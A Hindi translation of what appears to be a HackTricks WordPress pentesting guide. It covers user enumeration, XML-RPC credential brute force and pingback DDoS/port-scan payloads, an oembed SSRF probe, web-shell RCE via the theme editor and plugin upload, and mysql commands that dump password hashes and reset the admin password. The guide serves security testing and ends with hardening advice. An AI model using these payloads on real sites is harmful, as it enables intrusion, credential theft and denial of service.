Wordpress

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो आसानी से बनाएं और स्वचालित करें। आज ही पहुंचें:

मूलभूत जानकारी

अपलोड की गई फ़ाइलें जाएंगी: http://10.10.10.10/wp-content/uploads/2018/08/a.txt थीम फ़ाइलें /wp-content/themes/ में मिल सकती हैं, इसलिए अगर आप किसी थीम के php को बदलते हैं ताकि RCE प्राप्त कर सकें तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: थीम twentytwelve का उपयोग करके आप 404.php फ़ाइल तक पहुंच सकते हैं: /wp-content/themes/twentytwelve/404.php एक और उपयोगी URL हो सकता है: /wp-content/themes/default/404.php

wp-config.php में आप डेटाबेस का रूट पासवर्ड पा सकते हैं।

जांच करने के लिए डिफ़ॉल्ट लॉगिन पथ: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

मुख्य वर्डप्रेस फ़ाइलें

  • index.php

  • license.txt में उपयोगी जानकारी होती है जैसे कि वर्डप्रेस स्थापित संस्करण।

  • wp-activate.php एक फ़ाइल है जो नए वर्डप्रेस साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग की जाती है।

  • लॉगिन फ़ोल्डर (छुपाने के लिए नाम बदला जा सकता है):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php एक फ़ाइल है जो वर्डप्रेस की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के साथ प्रेषित करने की अनुमति देती है जो परिवहन तंत्र के रूप में काम करता है और XML को कोडिंग तंत्र के रूप में काम करता है। इस प्रकार के संचार को वर्डप्रेस REST API द्वारा बदल दिया गया है।

  • wp-content फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन और थीम संग्रहित होते हैं।

  • wp-content/uploads/ यह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई किसी भी फ़ाइलें संग्रहित होती हैं।

  • wp-includes/ यह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहित होती हैं, जैसे प्रमाणपत्र, फ़ॉन्ट, JavaScript फ़ाइलें, और विजेट्स।

  • wp-sitemap.xml वर्डप्रेस संस्करण 5.5 और उच्चतर में, वर्डप्रेस एक साइटमैप XML फ़ाइल उत्पन्न करता है जिसमें सभी सार्वजनिक पोस्ट और सार्वजनिक पूछने योग्य पोस्ट प्रकार और टैक्सोनोमीज़ होती हैं।

पोस्ट एक्सप्लॉइटेशन

  • wp-config.php फ़ाइल में वर्डप्रेस को डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी जैसे डेटाबेस नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और साल्ट्स, और डेटाबेस तालिका प्रीफ़िक्स शामिल होती है। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्याओं का सुलझाने में उपयोगी हो सकता है।

उपयोगकर्ता अनुमतियाँ

  • प्रशासक

  • संपादक: अपनी और अन्यों की पोस्ट प्रकाशित और प्रबंधित करता है

  • लेखक: अपनी खुद की पोस्ट प्रकाशित और प्रबंधित करता है

  • योगदानकर्ता: अपनी पोस्ट लिखता है और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता

  • सब्सक्राइबर: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित कर सकता है

निष्क्रिय जांच

वर्डप्रेस संस्करण प्राप्त करें

जांचें कि क्या आप /license.txt या /readme.html फ़ाइलें खोज सकते हैं

पृष्ठ के स्रोत कोड में (उदाहरण: https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • मेटा नाम

  • CSS लिंक फ़ाइलें

  • जावास्क्रिप्ट फ़ाइलें

प्लगइन प्राप्त करें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

संक्षिप्त में संस्करण निकालें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Trickest का उपयोग करें और आसानी से वर्ल्ड के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाह बनाएं और स्वचालित करें। आज ही पहुंचें:

सक्रिय गणना

प्लगइन और थीम

संभावित रूप से आप सभी प्लगइन और थीम्स को नहीं खोज पाएंगे। उन सभी को खोजने के लिए, आपको सक्रिय रूप से ब्रूट फोर्स करने की आवश्यकता होगी (आशा है कि हमारे लिए ऐसे स्वचालित उपकरण हैं जो इस सूची को शामिल करते हैं)।

उपयोगकर्ता

आईडी ब्रूट

आप वर्डप्रेस साइट से मान्य उपयोगकर्ताओं को उनके आईडी ब्रूट फोर्सिंग करके प्राप्त करते हैं:

curl -s -I -X GET http://blog.example.com/?author=1

यदि प्रतिक्रियाएँ 200 या 30X हैं, तो इसका मतलब है कि आईडी वैध है। यदि प्रतिक्रिया 400 है, तो आईडी अवैध है।

wp-json

आप यूजर्स के बारे में जानकारी प्राप्त करने के लिए क्वेरी करने की कोशिश कर सकते हैं:

curl http://blog.example.com/wp-json/wp/v2/users

एक और /wp-json/ एंडप्वाइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है है:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note कि यह एंडप्वाइंट केवल उन उपयोगकर्ताओं को उजागर करता है जिन्होंने पोस्ट बनाई है। केवल उन उपयोगकर्ताओं के बारे में जानकारी प्रदान की जाएगी जिनके पास यह सुविधा सक्षम है

इसके अलावा ध्यान दें कि /wp-json/wp/v2/pages IP पते लीक कर सकता है।

लॉगिन उपयोगकर्ता नाम सूचीकरण

जब /wp-login.php में लॉगिन करते हैं तो संदेश में अंतर होता है कि निर्दिष्ट उपयोगकर्ता मौजूद है या नहीं

XML-RPC

यदि xml-rpc.php सक्रिय है तो आप पहुँचकर्ता ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर डोएस हमले चलाने के लिए कर सकते हैं। (आप उदाहरण के लिए इसका ऑटोमेशन प्रक्रिया कर सकते हैं इसका उपयोग करके।)

देखने के लिए कि क्या यह सक्रिय है तो /xmlrpc.php पहुँचने की कोशिश करें और इस अनुरोध को भेजें:

जांच

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

क्रेडेंशियल्स ब्रूटफोर्स

wp.getUserBlogs, wp.getCategories या metaWeblog.getUsersBlogs ऐसे कुछ तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूटफोर्स करने के लिए किया जा सकता है। यदि आप इनमें से किसी भी को खोज सकते हैं तो आप कुछ इस प्रकार कुछ भेज सकते हैं:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

सही प्रमाणपत्र का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

एक तेज़ तरीका भी है जिससे आप system.multicall का उपयोग करके प्रमाण-पत्रों को ब्रूट-फोर्स करने के लिए कई प्रमाण-पत्रों का प्रयास कर सकते हैं एक ही अनुरोध पर:

2FA को दाखिल करें

यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास वैध क्रेडेंशियल्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा संरक्षित है, आप xmlrpc.php का दुरुपयोग करके उन प्रमाण-पत्रों के साथ लॉगिन कर सकते हैं जो 2FA को छलकर गए हैं। ध्यान दें कि आप कंसोल के माध्यम से जो सभी कार्रवाई कर सकते हैं, उन सभी कार्रवाईयों को आप करने में सक्षम नहीं होंगे, लेकिन फिर भी आप RCE तक पहुंच सकते हैं जैसा कि Ippsec ने https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाया है।

DDoS या पोर्ट स्कैनिंग

यदि आप सूची में pingback.ping विधि को खोज सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर एक अनियमित अनुरोध भेजने के लिए कह सकते हैं। इसका उपयोग किया जा सकता है हजारों Wordpress साइटों से एक स्थान तक पहुंचने के लिए (ताकि उस स्थान में DDoS हो) या आप इसका उपयोग करके Wordpress को कुछ आंतरिक नेटवर्क (आप किसी भी पोर्ट को सूचित कर सकते हैं) स्कैन करने के लिए कर सकते हैं।

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

यदि आपको faultCode मिलता है और उसका मान 0 (17) से अधिक है, तो यह यह मतलब है कि पोर्ट खुला है।

system.multicall का उपयोग देखें पिछले खंड में इस विधि का दुरुपयोग करने के लिए डीडीओएस का कारण बनाने के लिए सीखने के लिए।

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

यह फ़ाइल आम तौर पर वर्डप्रेस साइट की जड़ में मौजूद होती है: /wp-cron.php जब इस फ़ाइल को एक्सेस किया जाता है तो एक "भारी" MySQL क्वेरी की प्रक्रिया होती है, इसलिए इसे हमलावरों द्वारा DoS का कारण बनाया जा सकता है। इसके अलावा, डिफ़ॉल्ट रूप से, wp-cron.php को हर पेज लोड पर (जब कोई भी ग्राहक किसी भी वर्डप्रेस पेज का अनुरोध करता है) बुलाया जाता है, जो उच्च ट्रैफ़िक साइटों पर समस्याएँ उत्पन्न कर सकता है (DoS)।

Wp-Cron को अक्षम करने और होस्ट के अंदर एक वास्तविक cronjob बनाने की सिफारिश की जाती है जो नियमित अंतराल में आवश्यक क्रियाएँ करता है (समस्याएँ उत्पन्न किए बिना)।

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net पर पहुँचने का प्रयास करें और वर्डप्रेस साइट आपसे एक अनुरोध कर सकती है।

जब यह काम नहीं करता है तो यह जवाब है:

SSRF

यह उपकरण जांचता है कि methodName: pingback.ping और पथ /wp-json/oembed/1.0/proxy मौजूद हैं या नहीं और अगर मौजूद हैं, तो इसका उत्पादन करने की कोशिश करता है।

स्वचालित उपकरण

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Trickest का उपयोग करें और आसानी से वर्ल्ड के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाह बनाएं और स्वचालित करें। आज ही पहुंचें:

एक बिट को अधिलेखित करके पहुंचें

एक वास्तविक हमले से अधिक यह एक उत्सुकता है। CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट फ्लिप कर सकते हैं। इसलिए आप फ़ाइल /var/www/html/wp-includes/user.php के स्थान 5389 को फ्लिप कर सकते हैं ताकि ! (NOT) ऑपरेशन को NOP करें।

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

पैनल आरसीई

थीम से एक php को संशोधित करें (व्यवस्थापक क्रेडेंशियल्स की आवश्यकता है)

उपस्थिति → थीम संपादक → 404 टेम्पलेट (दाएं में)

एक php शैल के लिए सामग्री बदलें:

Search in internet how can you access that updated page. In this case you have to access here: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

You can use:

use exploit/unix/webapp/wp_admin_shell_upload

प्लगइन RCE

PHP प्लगइन

एक प्लगइन के रूप में .php फ़ाइलें अपलोड करना संभव हो सकता है। उदाहरण के रूप में अपना php बैकडोर बनाएं:

फिर एक नया प्लगइन जोड़ें:

प्लगइन अपलोड करें और Install Now दबाएं:

Procced पर क्लिक करें:

शायद यह कुछ भी नहीं करेगा लगता है, लेकिन अगर आप मीडिया पर जाते हैं, तो आपको अपना शैल अपलोड किया हुआ दिखाई देगा:

इसका एक्सेस करें और आप रिवर्स शैल को निष्पादित करने के लिए URL देखेंगे:

अद्यतन और हानिकारक प्लगइन सक्रियण

इस विधि में एक हानिकारक प्लगइन की स्थापना शामिल है जिसे जाना जाता है कि वह विकल्पयुक्त है और एक वेब शैल प्राप्त किया जा सकता है। यह प्रक्रिया निम्नलिखित रूप में WordPress डैशबोर्ड के माध्यम से की जाती है:

  1. प्लगइन प्राप्ति: प्लगइन को Exploit DB जैसी स्रोत से प्राप्त किया जाता है जैसे यहाँ.

  2. प्लगइन स्थापना:

  • WordPress डैशबोर्ड पर जाएं, फिर जाएं डैशबोर्ड > प्लगइन > प्लगइन अपलोड.

  • डाउनलोड किए गए प्लगइन के ज़िप फ़ाइल को अपलोड करें।

  1. प्लगइन सक्रियण: जब प्लगइन सफलतापूर्वक स्थापित हो जाता है, तो इसे डैशबोर्ड के माध्यम से सक्रिय किया जाना चाहिए।

  2. शोषण:

  • प्लगइन "रिफ्लेक्स-गैलरी" स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह विकल्पयुक्त है।

  • Metasploit framework इस विकल्पयुक्तता के लिए एक शोषण प्रदान करता है। उचित मॉड्यूल लोड करके और विशिष्ट कमांडों को निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, साइट को अनधिकृत पहुंच प्रदान करते हुए।

  • यह ध्यान दिया जाता है कि यह केवल एक है बहुत से विधियों में से एक है जिससे एक WordPress साइट का शोषण किया जा सकता है।

सामग्री में विजुअल सहायक शामिल है जो WordPress डैशबोर्ड में प्लगइन स्थापित और सक्रिय करने के चरणों को दर्शाती है। हालांकि, इस तरह की कमियों का शोषण करना अवैध और अनैतिक है बिना उचित अधिकृति के। यह जानकारी जिम्मेदारीपूर्वक और केवल एक कानूनी संदर्भ में ही उपयोग किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनेट्रेशन टेस्टिंग में।

अधिक विस्तृत चरणों के लिए देखें: https://www.hackingarticles.in/wordpress-reverse-shell/**

पोस्ट शोषण

उपयोगकर्ता नाम और पासवर्ड निकालें:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

पासवर्ड बदलें:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress सुरक्षा

नियमित अपडेट

सुनिश्चित करें कि WordPress, प्लगइन और थीम अपडेट हैं। यह भी सुनिश्चित करें कि wp-config.php में स्वचालित अपडेटिंग सक्षम है:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

इसके अलावा, केवल विश्वसनीय WordPress प्लगइन और थीम्स इंस्टॉल करें

सुरक्षा प्लगइन्स

अन्य सिफारिशें

  • डिफ़ॉल्ट व्यवस्थापक उपयोगकर्ता हटाएं

  • मजबूत पासवर्ड और 2FA का उपयोग करें

  • नियमित अंतराल से उपयोगकर्ताओं की अनुमतियों की समीक्षा करें

  • ब्रूट फोर्स हमलों को रोकने के लिए लॉगिन प्रयासों की सीमा निर्धारित करें

  • wp-admin.php फ़ाइल का नाम बदलें और केवल आंतरिक या कुछ विशेष आईपी पतों से पहुंच दें।

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित ऑटोमेट वर्कफ़्लो आसानी से बनाएं। आज ही पहुंचें:

जानें जीरो से हीरो तक AWS हैकिंग को htARTE (HackTricks AWS Red Team Expert) सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated